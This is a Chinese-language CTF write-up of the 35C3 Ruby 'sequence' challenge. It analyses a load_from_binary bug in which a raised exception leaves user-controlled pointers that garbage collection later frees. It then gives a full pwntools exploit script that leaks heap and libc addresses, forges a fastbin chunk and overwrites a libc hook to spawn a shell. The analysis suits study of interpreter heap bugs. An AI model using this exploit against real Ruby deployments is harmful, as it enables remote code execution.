突然发现去年的今天写的也是C3CTF的writeup,同样最后都卡在了ruby的题上,只是不同的是去年搞定了4个题,今年不仅只看了一个题,而且到比赛结束都没有搞定,非常不开心。。。

今年最后一场比赛就看了ruby的sequence这一题,题目逻辑很简单,主要功能就是加载用户提供的ruby字节码然后disasm,并disable了glibc中的tcache

strs = {}

loop do
  print '> '
  STDOUT.flush
  cmd, *args = gets.split
  begin
    case cmd
    when 'disas'
      stridx = args[0].to_i
      puts RubyVM::InstructionSequence::load_from_binary(strs[stridx]).disasm
    when 'gc'
      GC.start
    when 'write'
      stridx, i, c = args.map(&:to_i)
      (strs[stridx] ||= "\0"*(i + 1))[i] = c.chr
    when 'delete'
      stridx = args[0].to_i
      strs.delete stridx
    else
      puts "Unknown command"
    end
    STDOUT.flush
  rescue => e
    puts "Error: #{e}"
  end
end

看代码可以猜测问题大概是出在load_from_binarydisasm上,而且README.md里也提供了fuzzing的方法https://github.com/niklasb/rubyfun,我也fuzzing出了很多crash。官方writeup在https://github.com/niklasb/35c3ctf-challs/tree/master/sequence,他用的漏洞是load operands时没有检查operands的数量是否大于字节码的长度导致的堆溢出写,利用方法是堆风水然后fastbin attack,有点复杂。比赛时我找到了另一个漏洞,但是没有写出exp,感觉堆风水比官方预期解法还要复杂。

这里主要写一下拿first-blood的5BC他们的非预期解法,暂时没有公开exp,但是可以看到他们使用的漏洞描述https://github.com/yannayl/ctf-writeups/tree/master/2018/ccc/sequence,他们好像自己都不太清楚漏洞的原因。我在看了他们的描述后,马上意识到我其实是fuzzing出了这个漏洞的,只是当时由于在我的测试程序中没有触发crash就被我忽略了,测试程序就一行代码

puts RubyVM::InstructionSequence.load_from_binary(File.read(ARGV[0])).disasm

但其实这个漏洞是需要调用GC才能触发,因为ruby只有在几个点才会调用GC,例如ruby_xmallocruby_xrealloc失败的时候,因此需要手动去调用。例如这个crash在测试程序加上GC后就能被触发

begin
	puts RubyVM::InstructionSequence.load_from_binary(File.read(ARGV[0])).disasm
rescue => e
	puts "Error: #{e}"
end
GC.start

下面看一下出问题的代码,用IDA更清楚一点

void __cdecl ibf_load_iseq_each(const ibf_load *load, rb_iseq_t *iseq, ibf_offset_t offset)
{
  rb_iseq_constant_body *v3; // rax
  VALUE v4; // rax
  VALUE *v5; // rax
  unsigned int v6; // eax
  VALUE v7; // rax
  VALUE v8; // rax
  VALUE exc; // [rsp+48h] [rbp-58h]
  VALUE pathobj; // [rsp+60h] [rbp-40h]
  VALUE path; // [rsp+68h] [rbp-38h]
  VALUE realpath; // [rsp+70h] [rbp-30h]
  VALUE realpatha; // [rsp+70h] [rbp-30h]
  const rb_iseq_constant_body *body; // [rsp+78h] [rbp-28h]
  rb_iseq_constant_body *load_body; // [rsp+80h] [rbp-20h]
  ibf_offset_t offseta; // [rsp+8Ch] [rbp-14h]

  offseta = offset;
  v3 = (rb_iseq_constant_body *)ruby_xcalloc(1uLL, 0x128uLL);
  iseq->body = v3;
  load_body = v3;
  body = (const rb_iseq_constant_body *)&load->buff[offseta];
  v3->type = body->type;
  v3->stack_max = body->stack_max;
  memcpy(&v3->param, &body->param, 0x30uLL);
  load_body->local_table_size = body->local_table_size;
  load_body->is_size = body->is_size;
  load_body->ci_size = body->ci_size;
  load_body->ci_kw_size = body->ci_kw_size;
  load_body->insns_info.size = body->insns_info.size;
  rb_obj_write_1((VALUE)iseq, &iseq->body->variable.coverage, 8uLL, "compile.c", 9054);
  ISEQ_ORIGINAL_ISEQ_CLEAR(iseq);
  iseq->body->variable.flip_count = body->variable.flip_count;
  realpath = 8LL;
  v4 = ibf_load_object(load, body->location.pathobj);
  path = v4;
  if ( v4 & 7 || !(v4 & 0xFFFFFFFFFFFFFFF7LL) || (*(_DWORD *)v4 & 0x1F) != 5 )
  {
    if ( v4 & 7 || !(v4 & 0xFFFFFFFFFFFFFFF7LL) || (*(_DWORD *)v4 & 0x1F) != 7 )
    {
      rb_raise(rb_eRuntimeError, "unexpected path object");
    }
    else
    {
      pathobj = v4;
      if ( rb_array_len_2(v4) != 2 )
        rb_raise(rb_eRuntimeError, "path object size mismatch");
      v5 = (VALUE *)rb_array_const_ptr_transient_2(path);
      path = rb_fstring(*v5);
      realpath = rb_array_const_ptr_transient_2(pathobj)[1];
      if ( realpath != 8 )
      {
        if ( realpath & 7 || !(realpath & 0xFFFFFFFFFFFFFFF7LL) || (*(_DWORD *)realpath & 0x1F) != 5 )
        {
          exc = rb_eArgError;
          v6 = rb_type(realpath);
          rb_raise(exc, "unexpected realpath %lx(%x), path=%+li\v", realpath, v6, path);
        }
        realpath = rb_fstring(realpath);
      }
    }
    rb_iseq_pathobj_set(iseq, path, realpath);
  }
  else
  {
    realpatha = rb_fstring(v4);
    rb_iseq_pathobj_set(iseq, realpatha, realpatha);
  }
  v7 = ibf_load_location_str(load, body->location.base_label);
  rb_obj_write_1((VALUE)iseq, &load_body->location.base_label, v7, "compile.c", 9085);
  v8 = ibf_load_location_str(load, body->location.label);
  rb_obj_write_1((VALUE)iseq, &load_body->location.label, v8, "compile.c", 9086);
  load_body->location.first_lineno = body->location.first_lineno;
  load_body->location.node_id = body->location.node_id;
  load_body->location.code_location.beg_pos = body->location.code_location.beg_pos;
  load_body->location.code_location.end_pos = body->location.code_location.end_pos;
  load_body->is_entries = (iseq_inline_storage_entry *)ruby_xcalloc(body->is_size, 0x18uLL);
  load_body->ci_entries = ibf_load_ci_entries(load, body);
  load_body->cc_entries = (rb_call_cache *)ruby_xcalloc(body->ci_kw_size + body->ci_size, 0x28uLL);
  load_body->param.opt_table = ibf_load_param_opt_table(load, body);
  load_body->param.keyword = ibf_load_param_keyword(load, body);
  load_body->insns_info.body = ibf_load_insns_info_body(load, body);
  load_body->insns_info.positions = ibf_load_insns_info_positions(load, body);
  load_body->local_table = ibf_load_local_table(load, body);
  load_body->catch_table = ibf_load_catch_table(load, body);
  load_body->parent_iseq = ibf_load_iseq(load, body->parent_iseq);
  load_body->local_iseq = ibf_load_iseq(load, body->local_iseq);
  ibf_load_code(load, iseq, body);
  rb_iseq_insns_info_encode_positions(iseq);
  rb_iseq_translate_threaded_code(iseq);
}

可以看到第25行从用户提供的binary中复制了0x30个字节到load_body->param,如果正常执行下去到80行和81行,它又会申请内存来加载param_opt_tableparam_opt_keyword并存放到load_body->param.opt_table(offset:0x20)load_body->param.keyword(offset:0x28),后面GC时就会把申请的内存free掉。但其实这里有一个问题,如果在前面就抛出一个异常直接返回,那param.opt_tableparam.keyword就是用户可以控制的内容,而题目中又恰好捕获了异常可以让用户调用GC,因此给了用户free任意地址的机会。

信息泄露有很多种方式,最简单的是改字符串的长度,因为string->len是用户可控的,当然也有其他更复杂的方式

static VALUE
ibf_load_object_string(const struct ibf_load *load, const struct ibf_object_header *header, ibf_offset_t offset)
{
    const struct ibf_object_string *string = IBF_OBJBODY(struct ibf_object_string, offset);
    VALUE str = rb_str_new(string->ptr, string->len);
    int encindex = (int)string->encindex;

    if (encindex > RUBY_ENCINDEX_BUILTIN_MAX) {
		VALUE enc_name_str = ibf_load_object(load, encindex - RUBY_ENCINDEX_BUILTIN_MAX);
		encindex = rb_enc_find_index(RSTRING_PTR(enc_name_str));
    }
    rb_enc_associate_index(str, encindex);

    if (header->internal) rb_obj_hide(str);
    if (header->frozen)   str = rb_fstring(str);

    return str;
}

最后也是用fastbin attack搞定

# test5.ruby
# a = 'AAAAAAAA'
from pwn import *
import os
import subprocess

LOCAL = 0
DEBUG = 0
VERBOSE = 0
TEST = 1

context.terminal = ['tmux', 'splitw', '-h']

if VERBOSE:
    context.log_level = 'debug'
else:
    context.log_level = 'critical'

if LOCAL:
    io = process(['./miniruby', 'challenge.rb'], env={'LD_LIBRARY_PATH': '/chall'})
    if DEBUG:
        gdb.attach(io, '')
else:
    io = remote('127.0.0.1', 1337)
    io.recvuntil('challenge: ')
    challenge = io.recvuntil('\n')[:-1]
    print challenge
    response = subprocess.check_output('./pow.py ' + challenge, shell=True)
    print response.split(' ')[-1][:-1]
    io.recvuntil('Your response? ')
    io.sendline(response.split(' ')[-1][:-1])

def write(stridx, idx, val):
    io.recvuntil('> ')
    io.sendline('write %d %d %d' % (stridx, idx, val))

def disas(stridx):
    io.recvuntil('> ')
    io.sendline('disas %d' % stridx)

def delete(stridx):
    io.recvuntil('> ')
    io.sendline('delete %d' % stridx)

def gc():
    io.recvuntil('> ')
    io.sendline('gc')

def c4(data, idx, val):
    for i in range(4):
        data[idx+i] = p32(val)[i]

def c8(data, idx, val):
    for i in range(8):
        data[idx+i] = p64(val)[i]

def create_str(stridx, string):
    for i in range(len(string) - 1, -1, -1):
        write(stridx, i, ord(string[i]))

def parse(s):
    res = []
    i = 0
    while i < len(s)-1:
        c = s[i]
        if c != '\\':
            res.append(c)
            i += 1
        else:
            nxt = s[i+1]
            escapes = '\\tbfva"\'nre#'
            sub = "\\\t\b\f\v\a\"'\n\r\x1b#"
            if nxt in escapes:
                res.append(sub[escapes.index(nxt)])
                i += 2
            elif nxt == 'x':
                res.append(chr(int(s[i+2:i+4], 16)))
                i += 4
            else:
                assert False, repr(nxt)
    return ''.join(res)

for i in range(0x2000):
    write(0x10+i, 0x100+i-1, 0)

os.system('LD_LIBRARY_PATH=/chall ./miniruby ./make_sample.rb test5.rb test5.bin')
with open('test5.bin', 'rb') as f:
    test_bin = list(f.read())
leak_size = 0x10000
c8(test_bin, 0x210, leak_size)
create_str(0, test_bin)
disas(0)
io.recvuntil('AAAAAAAA')
leak_data = io.recvn(0x20000)
io.recvuntil('0005 leave')

leak_val = parse(leak_data)
fake_chunk_idx = None
libc = None
for i in range(0, len(leak_val)/8*8, 8):
    val = u64(leak_val[i:i+8])
    if val == 0x502065 and fake_chunk_idx == None:
        fake_chunk_idx = u64(leak_val[i+16:i+24]) - 0x100 + 0x10
        buf_addr = u64(leak_val[i+24:i+32])
        print 'fake_chunk_idx:', hex(fake_chunk_idx)
        print 'buf_addr', hex(buf_addr)
        break
    elif val >> 40 == 0x7f and val & 0xfff == 0xc80 and libc == None:
        libc = val - 0x1dcc80
        print 'libc:', hex(libc)
    elif libc != None and fake_chunk_idx != None:
        break

if libc == None or fake_chunk_idx == None:
    print 'leak failed'
    exit(0)

fake_chunk = p64(0) + p64(0x71)
fake_chunk += p64(0) * 12
fake_chunk += p64(0) + p64(0x71)
create_str(fake_chunk_idx, fake_chunk)

with open('test5.bin', 'rb') as f:
    test_bin = list(f.read())
c4(test_bin, 0x1e0, 1<<5)
c4(test_bin, 0x1e4, 7)
c8(test_bin, 0xc0, buf_addr+0x10)
create_str(1, test_bin)
disas(1)
gc()

create_str(fake_chunk_idx, p64(0) + p64(0x71) + p64(libc+0x1dcbed))
create_str(2, '/bin/sh;'.ljust(0x60, '\x00'))
create_str(3, ('\x00'*11 + p64(libc+0x4f370)).ljust(0x60, '\x00'))
write(2, 0x60, 0)

io.interactive()

总之还是基础不够扎实,如果我实现过一门面向对象的语言或者有足够的fuzzing经验,也许当时就会想到那个crash的原因。

最后的最后再发一些牢骚,2018年发生了很多事,正式毕业,工作也快半年了,越来越觉得自己的知识不够用,还有很多东西需要学。路还很长,不要忘记善良。

推荐资料

  1. Ruby Hacking Guide
  2. Ruby Under a Microscope